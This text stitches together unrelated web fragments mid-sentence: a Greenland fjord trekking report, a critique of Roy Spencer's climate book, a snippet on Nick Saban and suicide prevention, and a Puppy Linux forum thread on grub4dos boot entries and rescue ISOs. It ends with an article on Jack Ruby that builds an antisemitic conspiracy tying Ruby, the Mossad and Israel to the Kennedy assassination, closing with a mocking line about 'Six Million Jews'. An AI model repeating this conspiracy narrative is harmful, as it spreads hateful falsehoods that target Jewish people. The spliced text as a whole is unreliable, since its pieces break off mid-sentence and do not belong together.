up the shore of the lake were not always passable so that from time to time I had no other choice to make another bushwhacking passage around the bigger boulders. On the worst descend in my life! Pushing myself through the thickets of willow and birch above Tasersuaq while midges were constantly buzzing around my head. At the mouth of a small stream I kept a pause and ate my latest portion of breakfast muesli. From now on a warm meal was the only food I had left and it became clear that I wouldn’t reach Tasiusaq today. I was very tired. If I would lay myself down I was sure I would have fallen asleep immediately. After lunch I continued over the difficult terrain. Hours later the forest became more like shrub while more open places appeared between the dwarf birches. It was a relief to be finally progressing faster. The first sheep appeared later on, property of the Inuit sheep farm Saputit Tasia north of Tasiusaq. Ready for the night on the southwest end of Tasersuaq lake after a day were I got exhausted. I walked further towards the extreme southwest point of the lake. Every footstep became a major effort now. My head started getting dizzy and I had to stop several times to rest on a stone as I couldn’t go on. I was exhausted. It was late when I finally arrived at the extreme southwest point of Tasersuaq, still 6km northeast of Tasiusaq. Here I immediately pitched the tarp, ate the evening meal and went to sleep. This was the toughest day I ever had in the wild. Because I couldn’t have reached Aappilattoq for a resupply I had no other choice than to make rations of the food I had left. The hard terrain made my body beg for more calories and my head for fresh sugars. All the small portions I ate were not enough. I was skinny too. My pants had become too wide for my waist. I had to tighten the belt a lot more, otherwise my pants fell down from my waist. Tomorrow I would reach Tasiusaq where I could buy provisions in the small grocery store. But in what condition would I reach the Inuit village? Just like the night before, I couldn’t fall asleep. It seemed that at a certain fatigue level, falling asleep itself asks too much energy. I was awake the entire night. Only during the morning I could find some sleep for a few hours. Saputit Tasia sheep farm with its grasslands on the left next to the small lake. The sheep farmers on South-Greenland are not able to hold a large herd of sheep as they need to feed their sheep with hay during the winter and the hay is produced from the grass on the fields. These fields do not cover a large area as there aren’t much places to find with flat ground without much stones and rocks. A tractor next to the fields of Saputit Tasia sheep farm. The sheep farmers on South-Greenland cultivate grass during the short summer to feed their sheep with hay during the long winter. The farmer of Saputit Tasia has only a very small area of grassland for his small herd of sheep. The farmers try to remove all the rocks and stones from the ground to get an area to cultivate as large as possible with a lot of damaged material as a result. The Norsemen started already with this tremendous work during the middle ages. I started walking towards Tasiusaq in the late morning with an empty stomach. To my surprise I felt in good shape and could walk in fast cadence without the need to make a pause all the way to the village. When I arrived in the Inuit village, I immediately asked where I could find the grocery store. The store was built at the shore next to the small harbor. I immediately bought a lot of food and climbed on a hill to eat as much as I could. Meanwhile I could observe the village, the Inuit and their daily life. Tasiusaq existed only of about 30 little houses for 90 inhabitants. Only a few men were left in the village. The others were gone fishing on the ocean or the fjord. Children were playing outside and an old drunken man was sitting next to the grocery store. Life here seemed simple but harsh at times. At Qalutaassuaq (245m), the hill above Tasiusaq, with Tasersuaq and the surrounding mountain peaks in the distance. Tasermiut had changed a lot now too. There was still a lot of ice drifting in the fjord but boats could now maneuver between the ice. The ice fields were now drifting back southward out of the fjord by the change of wind direction. It seemed I wouldn’t get stuck here. By the end of the day I climbed to the hill above the village and spent the night on top of it with wide views onto the ice cap and the peaks around Tasersuaq. Tasermiut with a small part of the ice cap on the left and Tasersuaq surrounded by wild mountains on the right, seen from Qaqqatsiaq (500m). The day after I walked over the open tundra northeast to climb Qaqqatsiaq were I met another great view over Tasersuaq and Tasermiut. I pitched the tarp just under the summit of the hill and spent another night on a hill. On the last day I returned to Tasiusaq and spent a lot of time with relaxing and eating at a nice small mountain lake. The weather was perfect, sunny with only weak winds. In the evening I arrived in Tasiusaq again and pitched the tarp behind a large rocky hill out of sight from the village. It was getting cold. This was my last night in Tasermiut and actually I wasn’t regretting it. The trip had been too strenuous to be able to enjoy it unhindered, but despite the difficulties of the terrain, it felt like I had made the trip of a lifetime. The little Inuit village of Tasiusaq counts about 30 little houses and 90 inhabitants. At Tasiusaq I met Superman-Eskimo with his two friends. Fortunately I didn’t need to be rescued. The last evening in Tasermiut fjord with a bivouac next to the village of Tasiusaq. The next morning I returned to the grocery store and asked to make a phone call to Niels in Nanortalik. The boat was already on its way he told me, with a lot of tourists on board. I was excited to join a tourist boat tour through Tasermiut fjord. This way I could admire the entire length of the fjord again, but this time in a relaxed manner. This was the perfect ending of this wild trip in Tasermiut. In a next post the journey will continue on Nanortalik island. AdvertisementsRoy Spencer’s Great Blunder, Part 1 Posted on 27 February 2011 by bbickmore The following is reposted from Barry Bickmore's blog - it's PART 1 of an extended critique of Roy Spencer’s The Great Global Warming Blunder: How Mother Nature Fooled the World’s Top Climate Scientists (New York: Encounter Books, 2010). See also Part 2 and Part 3. Previous critiques of Spencer’s general approach to climate have been published by Ray Pierrehumbert and Tamino (here, here, and here). My Utah readers will remember that Roy Spencer was invited to testify before a committee of the Utah Legislature last year. Summary of Part 1: In his latest book, The Great Global Warming Blunder, Roy Spencer lashes out at the rest of the climate science community for either ignoring or suppressing publication of his research. This research, he claims, virtually proves that the climate models used by the IPCC respond much too sensitively to external “forcing” due to changes in greenhouse gas concentrations, variations in solar radiation, and so on. Instead, Spencer believes most climate change is caused by chaotic, natural variations in cloud cover. He and a colleague published a peer-reviewed paper in which they used a simple climate model to show that these chaotic variations could cause patterns in satellite data that would lead climatologists to believe the climate is significantly more sensitive to external forcing than it really is. Spencer admits, however, that his results may only apply to very short timescales. Since the publication of his book, furthermore, other scientists (including one that initially gave Spencer’s paper a favorable review) have shown that Spencer was only able to obtain this result by assuming unrealistic values for various model parameters. Roy Spencer is not your average climate contrarian. He has a PhD in meteorology from the University of Wisconsin–Madison, is a researcher at the University of Alabama–Huntsville, used to work in one of the climate units at NASA, and has published some well respected research on climate. And yet, in The Great Global Warming Blunder: How Mother Nature Fooled the World’s Top Climate Scientists, Spencer’s latest book, he isn’t just talking about his accomplishments in mainstream science. Rather, he’s taking his case “to the people” because he says his latest research has blown the lid off the consensus among climate scientists that humans are causing significant climate change. But the part of his research that has been published in the peer-reviewed literature has largely been ignored, and the rest has been quashed in the review process. Ultimately I find enough evidence to virtually prove my theory, but now the research papers that I submit for publication are rejected outright…. The climate modelers and their supporters in government are largely in control of the research funding, which means that most government contracts and grants go toward these investigators who support the party line on global warming. Sympathizers preside as editors overseeing what can and cannot be published in research journals. Now they even rule over several of our professional societies, organizations that should be promoting scientific curiosity no matter where it leads. In light of these developments, I have decided to take my message to the people. This message is that mankind’s influence on climate is small and will continue to be small. (pp. xi-xii) These are serious charges Spencer levels against his fellow scientists, and while he is careful to distinguish between the majority of climate scientists, whom he paints as intellectually lazy malingerers who are “just along for the ride” (p. xvi), and the leadership of the IPCC, whom he paints as conniving, politically driven power-grabbers, he pictures a pretty broad-based conspiracy. I find it difficult to believe that I am the first researcher to figure out what I describe in this book. Either I am smarter than the rest of the world’s climate scientists–which seems unlikely–or there are other scientists who also have evidence that global warming could be mostly natural, but have been hiding it. That is a serious charge, I know, but it is a conclusion that is difficult for me to avoid. (p. xxvii) That’s how Roy Spencer sees himself–a persecuted Galileo, boldly speaking scientific truth to power, while most of his fellow scientists succumb to greed and cowardice. Whether Spencer ultimately turns out to be right or wrong, in this review I will show that at this point, he hasn’t even come close to proving his case. Furthermore, some of his work has been of demonstrably poor quality, so if his aim is to convince other scientists, he has shot himself in the foot more than once. Whereas Galileo’s main thesis was eventually universally accepted, the probability of that kind of outcome here seems vanishingly small. The Gist Spencer’s two main claims are as follows. First, “the climate system is much less sensitive to our greenhouse gas emissions than the experts claim it to be” (p. vii). Second, “the climate system itself is probably responsible for most of the warming we have seen in the last 100 years or so. Contrary to popular belief, you don’t need a change in the sun or a volcanic eruption or pollution by humankind to cause global warming or cooling” (p. viii). The problems with Spencer’s arguments take some background knowledge to recognize, so I’m going to start at a pretty basic level, just as he does in his book, but then go beyond his explanations in the book by including a little more math. (I’m sorry–I’ll try to walk you through it slowly if you’re a mathphobe.) Also, I’ve included a small “appendix” at the end of this post with a short explanation of climate “forcing” and “feedback.” If you’re a climate wonk, you undoubtedly already know all about that, but if not, skip down to the end and read the appendix first. A Simple Climate Model To explore his ideas, Spencer employed a “simple climate model”. And by “simple” I mean it treats the Earth as a well-mixed ocean of a certain depth, and includes some terms for different kinds of forcing, and another for net feedbacks. I don’t mean to put down Spencer’s work by pointing this out–this kind of “zero-dimensional” climate model is very commonly used by scientists as a first-order approximation of how the system behaves, at least in situations where they aren’t bothering to look at the spatial distribution of climate effects. In fact, using a simple model like this can be very informative, because there are so few variables that you can easily examine the effects of changing each one. Spencer’s model is described qualitatively in the book, and is also programmed into an Excel spreadsheet, which Spencer makes available here. The model is basically the following. Equation 1: d(∆T)/dt = (Forcing – Feedback)/Cp Here, ∆T is the difference between the temperature at time t and the temperature at equilibrium. (That is, ∆T is the “temperature anomaly” with respect to equilibrium.) Cp is the total heat capacity of a column of ocean water 1 m^2 on top and h meters deep. (If you’re interested in running such a model yourself, Cp = 4,180,000 J/m^3 * h. Pay attention to the ocean water depth. It will be very important in a future installment of this review.) The reason this column of ocean water is 1 m^2 on top is because the Forcing and Feedback fluxes are both in W/m^2–i.e., they are normalized to 1 m^2 of the Earth’s surface. A Watt (W) is equivalent to 1 J/s, where Joules (J) are units of energy. So the Forcing tells us the rate at which extra energy is coming in, while the feedback tells us how the climate system responds to the push, by either enhancing the forcing or hitting the brakes. So what Eqn. 1 is really saying is that the rate of change of the temperature depends on 1) how much water has to be heated by the incoming radiation (Cp), 2) what the forcing is, and 3) how the climate system responds to the forcing in terms of sending more or less radiation back into space. Feedback is represented by Eqn. 2. Equation 2: Feedback = alpha*∆T When the “feedback parameter” (alpha) is positive, then there are some “brakes” on the system (notice the minus sign in Eqn. 1). That is, if the forcing pushes the temperature one way, the feedback will put the brakes on and slow it down. If alpha is negative, then the system will be unstable, because every time the forcing pushes one way, the feedback will keep pushing the system harder and harder in that direction. This way of defining climate feedback is a bit non-standard, however, so I should explain the difference. Typically, when climate scientists say there is zero feedback, alpha is actually about 3.3 W/m^2/°C. This is the amount of extra energy the Earth would radiate back into space (all else being equal) if the temperature were raised 1 °C, simply because hotter objects give off more radiation. So if alpha is less than 3.3 W/m^2/°C, scientists say there is a net positive feedback in the system, and if it’s more than that, they say there is a net negative feedback. Essentially nobody thinks alpha should be less than zero, though, because that would lead to really crazy swings in the climate. For reference, Spencer indicates that the climate models the IPCC uses to make temperature projections (and which incorporate fairly strong positive feedback) have alpha values of 0.9-1.9 W/m^2/°C. Short-Term Cloud Feedbacks Climate scientists don’t just guess at things like alpha values, however. They can estimate alpha values from the correlation between satellite measurements of changes in radiation fluxes and changes in temperature. When Spencer examined this method for estimating alpha, he surmised that it assumes the temperature changes are the cause of the changes in net radiation flux. But what if the causality were reversed? What if, at least in part, something internal to the system were causing the changes in radiation flux, and that caused the changes in temperature? Wouldn’t that screw up this method for estimating alpha? This is not a crazy idea. It is well known that weather is chaotic, meaning that slight fluctuations in one part of the system can cause large and unpredictable fluctuations in another part of the system. (This is also known as the “Butterfly Effect“.) Climate (which refers to the long-term average of weather) is not necessarily thought to be chaotic, however, except over fairly short time periods. Over these shorter periods, there are many modes of climate variability, usually involving semi-structured oscillations in sea surface temperatures, like the El Niño-Southern Oscillation, the Pacific Decadal Oscillation, the Arctic Oscillation, and so on. In turn, random fluctuations in sea surface temperature due to ocean circulation patterns, etc., might cause concomitant changes in cloudiness, which would affect the radiation balance, and hence the temperature. (If you keep reading, however, you will find that Spencer thinks the causality is the other way around. Random variations in sea surface temperature are caused by random variations in cloudiness, which are caused by who-knows-what.) Spencer and his colleague, Danny Braswell, put this idea to the test with their simple climate model, in which they could specify what the alpha value was, and drive the model with a combination of random fluctuations in both external and “internal” forcing. They could then track both the net radiation flux and the temperature to estimate alpha in the traditional manner. They found that the traditional estimation method produced systematically low alpha values–i.e., they were skewed toward more positive feedback. However, they found characteristic patterns in the data (which they called “feedback stripes”) that allowed them to estimate alpha much more accurately. Furthermore, they could find the same kinds of patterns in the satellite data. These observations led Spencer and Braswell to conclude that alpha really should be 6 W/m^2/°C or more, indicating very strong negative feedback. With this interesting result, Spencer and Braswell decided to submit their paper to the Journal of Climate, an excellent scientific journal that publishes climate research. What happened? Did some sniveling cowards trash the paper in review out of fear of future reprisals from the people Spencer sarcastically calls “The Keepers of All Climate Knowledge” (p. xxi)? Did one of those politically motivated sympathizers who have insinuated themselves as editors of all the major climate journals reject it, despite favorable reviews? Surprisingly (to Spencer), they did not! I did not have high hopes for getting the paper accepted, though, because of its potential implications regarding the seriousness of manmade global warming. To my great surprise,
his efforts in youth suicide prevention. "We've been very, very fortunate through the years to have very few players suffer issue and problems when we were coaching them," Saban said. "But we have had some. And it's one of the most devastating things that you have to go through, even as a coach. I never experienced it as a parent.... I'm here to help the young people. This is not a political thing for me. "Aight, this is all about how can we help our youth have a better opportunity with our help and assistance, that we can see warning signs of something that is very, very preventable." Allen, a state legislator since 1994, can't remember getting a phone call from Saban like that before. He did, however, have a two-hour conversation in an airport with Saban a few years ago about laws governing unscrupulous sports agents. "I'm telling you, there are 4.8 million folks in Alabama," Allen said, "everyone knows who Coach Saban is. They know the impact that he has with the people."The time now is Tue 26 Feb 2019, 22:02 All times are UTC - 4 Author Message wimpy Joined: 22 Aug 2012 Posts: 406 Location: Essex, UK Joined: 22 Aug 2012Posts: 406Location: Essex, UK Posted: Thu 25 Sep 2014, 01:48 Post subject: Yes! You're quite right. The iso file I've been using is PupRescue_2.5.iso. I may have referred to it differently above, but it is the same file and the md5sum check is correct. I have already supplied above a template of the menu.lst entry for all the distros I've tried. I've since deleted all the files in that iso/PupRescue_2.5 folder (bar the iso file which I unarchived in that folder). Without changing menu.lst, I rebooted and this time it went through OK and it boots from grub4dos. Thanks for your help. _________________ LxXenial16.08, LxPupSc17.07.01,Lucid 5.2.8 and others - all frugal CatDude Joined: 03 Jan 2007 Posts: 1573 Location: UK Joined: 03 Jan 2007Posts: 1573Location: UK Posted: Thu 25 Sep 2014, 04:12 Post subject: Hello wimpy wimpy wrote: Yes! You're quite right. The iso file I've been using is PupRescue_2.5.iso. I may have referred to it differently above, but it is the same file and the md5sum check is correct. Fair enough, but it saves any confusion if you refer to it correctly. wimpy wrote:...You say that you have successfully done a frugal installation of this iso. Correct. wimpy wrote:...If you are able to boot it from grub4dos would it not be more appropriate for you to supply your menu.lst entry. I never mentioned anything about using grub4dos, i did say "The following stanza works for me using Legacy Grub:" But just for you i made a quick install on a flash drive using grub4dos, i was able to boot it using either of these two stanza's: Code: title PupRescue 2.5 (sdb1/pr25) find --set-root --ignore-floppies --ignore-cd /pr25/initrd.gz kernel /pr25/vmlinuz psubdir=pr25 pmedia=usbflash pfix=fsck initrd /pr25/initrd.gz title PupRescue 2.5 (sdb1/pr25) RAM mode Boot up Puppy without pupsave find --set-root --ignore-floppies --ignore-cd /pr25/initrd.gz kernel /pr25/vmlinuz psubdir=pr25 pfix=ram initrd /pr25/initrd.gz I have attached the complete menu.lst below (remove the fake.gz) wimpy wrote:...Of all the puppy distro isos I've tried this is the only one without a isolinux.bin and a isolinux.cfg. That's because it is set up to use Grub. CatDude . menu.lst.gz Description Remove the fake.gz Download Filename menu.lst.gz Filesize 2.51 KB Downloaded 206 Time(s) _________________ _________________ wimpy Joined: 22 Aug 2012 Posts: 406 Location: Essex, UK Joined: 22 Aug 2012Posts: 406Location: Essex, UK Posted: Thu 25 Sep 2014, 05:52 Post subject: I was busy editing my post while you were answering it. I thought that my post sounded a tad rude, and in any case I had confirmed that grub4dos will boot the iso. I am grateful for your help. _________________ LxXenial16.08, LxPupSc17.07.01,Lucid 5.2.8 and others - all frugal Gooplusplus Joined: 04 Sep 2013 Posts: 35 Location: Las Vegas Joined: 04 Sep 2013Posts: 35Location: Las Vegas Posted: Thu 25 Sep 2014, 13:24 Post subject: Two YUMI ISOs for Pup Rescue 2.5 and Precise PupRescue Two new USB YUMI-compatible ISOs for Pup Rescue 2.5 and Precise Pup Rescue Download the ISO, start YUMI and select Lucid Puppy Linux or Precise Puppy Linux. The original CDROM ISO for PupRescue 2.5 and Precise PupRescue lacked any isolinux files to help it work with YUMI USB Multiboot software. Since we plan to add PupRescue to one of our new USB Multiboot KUDOS collections, we added a few files to enable YUMI use. You can find Gooplusplus USB Multiboot collections at this link: We have not tested everything in these YUMI-compatible versions of PupRescue but the basics seem to work. We noted that while networking works, there is no default web browser in PupRescue 2.5 so you will have to add one. Fortunately, Precise Pup Rescue includes the SeaMonkey (Firefox) web browser. Unfortunately, after YUMI installs the distro files to your USB flash drive, YUMI might not add the new entry to syslinux.cfg You can manually edit /multiboot/syslinux.cfg to ADD THIS TEXT: http://www.gooplusplus.com/pup-rescue-2.5-yumi.iso --- ( lupu-PupRescue_2.5-YUMI.iso ) http://www.gooplusplus.com/precise-pup-rescue-yumi.iso --- ( Precise-PupRescue-YUMI.iso )Download the ISO, start YUMI and selectorThe original CDROM ISO for PupRescue 2.5 and Precise PupRescue lacked any isolinux files to help it work with YUMI USB Multiboot software.Since we plan to add PupRescue to one of our new USB Multiboot KUDOS collections, we added a few files to enable YUMI use.You can find Gooplusplus USB Multiboot collections at this link: http://www.gooplusplus.com/multiboot-collections/ We have not tested everything in these YUMI-compatible versions of PupRescue but the basics seem to work.We noted that while networking works, there is no default web browser in PupRescue 2.5 so you will have to add one.Fortunately, Precise Pup Rescue includes the SeaMonkey (Firefox) web browser.Unfortunately, after YUMI installs the distro files to your USB flash drive, YUMI might not add the new entry to syslinux.cfgYou can manually edit /multiboot/syslinux.cfg to ADD THIS TEXT: Quote: #start lupu-pupRescue-2.5 LABEL Puppy Rescue 2.5 MENU LABEL Puppy Rescue 2.5 MENU INDENT 1 CONFIG /multiboot/lupu-PupRescue_2.5-YUMI/isolinux.cfg APPEND /multiboot/lupu-PupRescue_2.5-YUMI/ #end lupu-pupRescue-2.5 Quote: #start Precise-PupRescue-YUMI LABEL Precise Puppy Rescue MENU LABEL Precise Puppy Rescue MENU INDENT 1 CONFIG /multiboot/Precise-PupRescue-YUMI/isolinux.cfg APPEND /multiboot/Precise-PupRescue-YUMI/ #end Precise-PupRescue-YUMI Gooplusplus Joined: 04 Sep 2013 Posts: 35 Location: Las Vegas Joined: 04 Sep 2013Posts: 35Location: Las Vegas Posted: Fri 26 Sep 2014, 15:46 Post subject: http://www.gooplusplus.com/multiboot-2014-kudos-rescue/ http://www.gooplusplus.com/multiboot-collections/ Bittorrent download: https://kickass.to/usb-multiboot-2014-kudos-rescue-840mb-puppy-hirens-avg-minitool-gooplusplus-t9630580.html Bittorrent download:Do You Know “Jack”? “You all know me, I’m Jack Ruby,” Oswald’s assassin famously stated after silencing President Kennedy’s putative killer on November 24, 1963. He addressed the Dallas police who immediately took him into custody. Indeed, the proprietor of the Carousel strip club was well acquainted with most of the city’s police force – but does the public at large really know Jacob Rubenstein, the man who introduced himself to the world as “Jack Ruby”? Rubenstein was born in Chicago’s heavily Jewish-immigrant Maxwell Street neighborhood in 1911; but even his birth is shrouded in an air of absurd mystery: There is some confusion about his exact birth date. School records report it as June 23, April 25, March 13, and March 3, 1911. Other early official records list his date of birth as April 21 and April 26, 1911. During his adult life the date Ruby used most frequently was March 25. The police arrest report for November 24 gave his birth date as March 19, 1911.1 Ira Berkow, in his book Maxwell Street, calls it “one of the filthiest streets in the world”2 and paints this picture of its condition in the seventies: Once, the stands made a continuous line along the curb for eight blocks. Many stands were torn down while others collapsed from sheer disregard, as Maxwell Street’s business declined. Even the Sunday market – always bustling – gave way to the emerging Sunday commerce in neat and safer suburban shopping centers. One can get a good perspective of Maxwell Street from the walk of the low-arching Dan Ryan Expressway, the structure that lopped off the eastern end of the marketplace. From the expressway, Maxwell Street, with its hollow spaces between wooden stands, has the peculiar gaping smile of a Halloween pumpkin. To the west, much of Maxwell Street and the surrounding area has been razed, though a few three-story, pitched-roof buildings from the turn of the century remain among the rubble and are still lived in. […] Although truncated and waning, some of the old-time mood of Maxwell Street remains, recalling its heritage in the ancient labyrinths of Baghdad and Jerusalem.3 “Maxwell Street is the center of a ghetto about a mile square which served as a blighted garden of promise,” Berkow writes4. The son of Jewish immigrants from what is now Poland, Jacob Rubenstein grew up speaking Yiddish in a violent and sometimes broken home and thrived in an atmosphere of street thuggery. He got into brawls with neighborhood toughs and helped his father make gin in his bathtub5. Notwithstanding these tawdry pastimes, however, Rubenstein was possessed of a strong racial pride, promising to his mother that he would never marry a goy and losing his temper whenever Jews were insulted. Private Rubenstein, while stationed at air bases in the South during World War II, even pummeled a sergeant who had called him a “Jew bastard”6. According to the Warren Commission Report: Following his return from the Army, Ruby was described as ready to fight with any person who insulted Jews or the military. [His brother] Earl Ruby testified that on one occasion in 1946, Jack returned from downtown Chicago with his suit covered with blood. He explained at that time that he had fought with a person who had called him a “dirty Jew or something like that.”7 It was after the war that the Rubenstein brothers began styling themselves “Ruby”. It is at this point – from Rubenstein’s move to Dallas to help his sister manage her nightclub and up to the assassination of Lee Harvey Oswald – that Berkow’s account of “Jack Ruby” becomes a blank. The reader is left to assume that these were uneventful years – or would be if not for Michael Collins Piper’s indispensable study Final Judgment. Rubenstein was an associate of Los Angeles gangster Mickey Cohen during the postwar years, when Berkow conveniently loses his trail8. “Ruby’s criminal ties are legendary,” Piper elaborates. As a youth in Chicago, Ruby worked for Al Capone himself. His other organized crime connections, in Chicago, Dallas and elsewhere have been documented time and again. However […] Ruby was more than a low-level Jewish henchman in the employ of the Italian wing of organized crime. Ruby, in fact, was very much a part of the Meyer Lansky Crime Syndicate and, what’s more – the Warren Commission’s conclusions notwithstanding – was also working for Lansky’s longtime collaborators in the CIA, itself tied closely with Israel’s Mossad […]9 JFK researcher James DiEugenio contributes that, “as with Oswald, the Warren Commission’s exploration of Ruby’s actual background was, to be kind, cursory. To be unkind, today it looks humorous.” DiEugenio continues: For instance, the Commission famously wrote that Ruby had no significant link to organized crime. […] Yet the House Select Committee on Assassinations (HSCA) listed a series of phone calls made by Ruby in the month leading up to the murder of Kennedy. It clearly exposes that assertion as dubious. In fact, the House Select Committee specifically criticized both the Warren Commission and the FBI for “failing to analyze systematically … the data in those records.” […] Ruby’s phone usage went up by a factor of 300% in November of 1963. […] At this time, Ruby was in phone contact with the likes of Irwin Wiener, Barney Baker, Nofio Pecora, Lewis McWillie, and Dusty Miller, all of who had ties to organized crime. […] And as Jim Marrs writes in Crossfire, “the record shows his involvement in a number of criminal activities including gambling, narcotics, prostitution, and gun running.” […] But, as the quote above shows, these activities were not done only with the Mafia. Ruby’s gun running was at least partly done with former CIA agent Thomas Eli Davis. […] Davis had a slight resemblance to Oswald and he used the name Oswald at times in his work. […] In fact, Ruby was so close to Davis that, after he shot Oswald, Ruby actually volunteered Davis’ name to his attorneys. Incredibly, Ruby said that if he beat the Oswald rap he wanted to go back into the gun running business with Davis. […] Both Davis and Ruby had been involved with another gun runner named Robert McKeown. […] McKeown had run guns to Castro and during one of Ruby’s contacts with McKeown, Ruby offered him 25,000 dollars for a letter of introduction to the Cuban dictator. […] Less than three weeks after the assassination, Davis was attempting to sell guns in Morocco. He was arrested. While he was searched, the authorities found a strange handwritten letter on him referring to “Oswald” and the assassination. […] Geez, those are interesting Ruby connections to the JFK case: Castro, the Mafia, the CIA, and the usage of Oswald’s name. […] Ruby also lied about how many times he had been to Cuba. He said he had been there only once, in August of 1959. […] Yet there is evidence Ruby was there two times just in that same year. Again, it appears the Commission tried to cover up this fact about Ruby. How? By blending the two trips, which took place in August and September, into one. […] Robert Blakey, Chief Counsel of the HSCA, once wrote that it was “…established beyond doubt that Ruby lied repeatedly and willfully to the FBI and the Warren Commission about the number of trips he made to Cuba and their duration … Their purpose, was to courier something, probably money, into or out of Cuba.” […] The man who Ruby was closest to in Havana was the mob associated gambler, Lewis McWillie. […] While managing the Tropicana in Havana, McWillie became associated with some of the Mob’s top leaders like Santo Trafficante and Meyer Lansky, who were part owners. […] Further, Ruby was reportedly involved in gun running with Miami arms dealer Eddie Browder. Browder was also involved with Sturgis. […] Frank Sturgis, of course, was connected to the CIA, Castro, and the Mafia. […] In fact, this aspect of Ruby’s life – his relations to CIA-Mafia activities in Cuba – was obvious to even Commission staffers. Warren Commission attorneys Leon Hubert and Burt Griffin, who ran the Ruby investigation, wrote a memo to Chief Counsel J. Lee Rankin in March of 1964. They wrote that, “The most promising links between Jack Ruby and the assassination of President Kennedy are established through underworld figures and anti-Castro Cubans and extreme right-wing Americans.” […] Two months later, they wrote another memo: “We believe that a reasonable possibility exists that Ruby has maintained a close interest in Cuban affairs to the extent necessary to participate in gun sales and smuggling … Neither Oswald’s Cuban interests in Dallas nor Ruby’s Cuban activities have been adequately explored … We believe the possibility exists, based on evidence already available, that Ruby was involved in illegal dealings with Cuban elements who might have had contact with Oswald. The existence of such dealings can only be surmised since the present investigation has not focused on that area.” […] Like Oswald, Jack Ruby was in the middle of the Cuban conflict as it extended into the United States. And he connected to each of the domestic power centers that interacted with that conflict. […] As most everyone knows today […] Ruby was also an FBI informant. A fact that J. Edgar Hoover tried to get the Warren Commission to conceal. Which they willingly did for him. […] As one FBI report, partly censored by the Warren Commission revealed, the FBI not only knew about Ruby’s ties to underworld gambling in Dallas and Fort Worth, but their informant said that for Ruby to carry them on as he did, he had to have police connections in both cities.10 Peter Dale Scott has connected Rubenstein to Meyer Lansky’s international narcotics syndicate, “probably the biggest drug-smuggling channel into the United States.”11 Piper continues: Now although Jack Ruby was long known to be proud of his Jewish heritage, what is little known is that Ruby himself had an intimate connection with an individual with deep ties to the world of intelligence and to the pro-Israel lobby in the United States. This was Ruby’s “longtime associate and former lawyer,” Luis Kutner of Chicago, who had represented Ruby when Ruby was called before the staff of the Kefauver Senate Rackets Committee in 1950 to discuss underworld activities in his former home base of Chicago. According to Kutner, Ruby’s offer was contingent upon the condition that the Kefauver Committee stay away from investigating organized crime in Dallas where Ruby was by then ensconced. […] Although a “mob lawyer,” it seems, Kutner did have additional interesting connections. According to Scott, “Kutner, by his own account, had known Ruby since 1936, when he had used Ruby to ‘run errands’ in his unsuccessful 1936 congressional campaign. Later Kutner had inserted himself into what can only be described as international intelligence operations, ranging from Latin American coups to the defense of ousted Congolese leader Moise Tshombe.” But Kutner was himself also active in efforts to advance the interests of Israel. He was among a host of people who formed the Center for Global Security, Inc., which he served as “honorary counsel.” Serving as “honorary chairman” of this pro-Israel lobbying group was General Julius Klein, an American military figure who not only played a major role in supplying weapons to the Israeli Haganah underground prior to the establishment of Israel, but also assisted in the founding and training of the Israeli Mossad. Klein also later served as chairman of the Swiss-Israel Trade Bank on whose board of directors was Mossad financier and arms procurer Tibor Rosenbaum, founder of the Banque De Credit International of Switzerland, Meyer Lansky’s chief European money laundry. […] JFK researcher A.J. Weberman has revealed the little-known fact that Ruby traveled to Israel in 1955 and that while in San Francisco that year, Ruby told a friend, “After I leave here I’m going to Florida to buy a load of contraband to send to Israel.” […] In addition, citing FBI documents, Weberman notes that Lawrence Meyers, Ruby’s long-time friend with whom he met at the Cabana Motel the night before the JFK assassination was a salesman for Ero Manufacturing. The FBI determined that calls were made from Ero to a corporation investigated for illegal arms shipments to Israel. There is, in fact, evidence of other Ruby connections to Israel at the time of the JFK assassination itself. It is well known that while Ruby was milling about the Dallas Police Department after the assassination that Ruby claimed to be translating for Israeli “reporters” who were on the scene. This is interesting, obviously, in that it seems unlikely that Israeli correspondents in the United States would have English capabilities so lacking they required the services of a Dallas strip club operator.12 In addition to Rubenstein’s relationship with Dallas police, it is interesting to note that, as Berkow claims, he also courted the press: Ruby had ingratiated himself with local police authorities. He thought it was good business, as well as something to satisfy his urge for respectability. He did the same with the newspapermen and with various businessmen. He always seemed self-conscious about his looks, his lisp, his background, his business, always seemed to be trying to prove something, always seemed to be trying to be bigger than life. Lenny Bruce called him “the Jewish cowboy.”13 Rubenstein’s theatricality and his courtship of reporters is crucial to an understanding of the myth creation that was accomplished with the assassination of Oswald – the patriotic, all-American immigrant’s son and “Jewish cowboy” who loved his country not wisely, but too well. Rubenstein himself claimed to have shot Oswald so as to spare Jackie Kennedy the horror of having to sit through the assassin’s trial14. Earl Rubenstein, who ran a large laundry business in Detroit, did much to contribute to this mythology. “I think Jack was a very good Jew and a very good American,” the brother told Berkow. “He believed in America. He really did.” Rubenstein even goes as far as to characterize the Jews as a people uniquely wounded and grieved by the country’s loss of President Kennedy. He was a man our age. He was our generation. Our President. Everybody loved him, you know. That’s why I put this picture up on my wall in ’61. He was also kindly toward the Jews, toward Israel. He put a Jew, Arthur Goldberg, into his cabinet. Come to think of it, Sirhan Sirhan killed Bobby Kennedy because of his friendly views toward Israel and Jews.15 Earl Rubenstein, too, was quick to dismiss any talk of a conspiracy in the matter of JFK’s death. “Something funny,” he says of his contacts with Jack after Oswald’s murder. “We spoke in Yiddish when we wanted to discuss something confidential, like family matters. And that’s when some reporters thought we were really talking about secret things.”16 Berkow gives this account of Jacob Rubenstein’s final days: In jail, the prisoner was guarded twenty-four hours a day. He spent much of his time playing gin rummy with the guards. He cheated, the guards said, in keeping score. He read newspapers, a Hebrew Bible, novels with erotic themes, and dictionaries. He prided himself on being a faultless speller. He told those policemen he became close to that he had acted “to show the world Jews had guts.” […] Ruby worried that attempts to link him with a conspiracy would result in harm to his family, to Jews generally. […] By 1966, Ruby had developed cancer. He was apparently also a tormented man mentally. His lawyer, Elmer Gertz, said, “He was fifty-five and he looked like a man of eighty.” Gertz said, “At various times, apparently depending on the subject, Ruby appeared sane or insane during his final illness. He thought the Dallas jail was a Buchenwald.”17 So JFK had to be killed, his patsy “assassin” silenced, and Israel’s nuclear arsenal fully developed at U.S. taxpayer expense because …“Six Million Jews”! Rainer Chlodwig von Kook Endnotes Berkow, Ira. Maxwell Street: Survival in a Bazaar. New York, NY: Doubleday, 1977, p. 316. Ibid., p. 3. Ibid., p. 2. Ibid., p. 4. Ibid., pp. 317-319. Ibid., p. 322. Warren Commission Report. New York, NY: St. Martin’s Press, 1992, p. 792. Piper, Michael Collins. Final Judgment: The Missing Link in the JFK Assassination Conspiracy. Washington, DC: The Center for Historical Review, 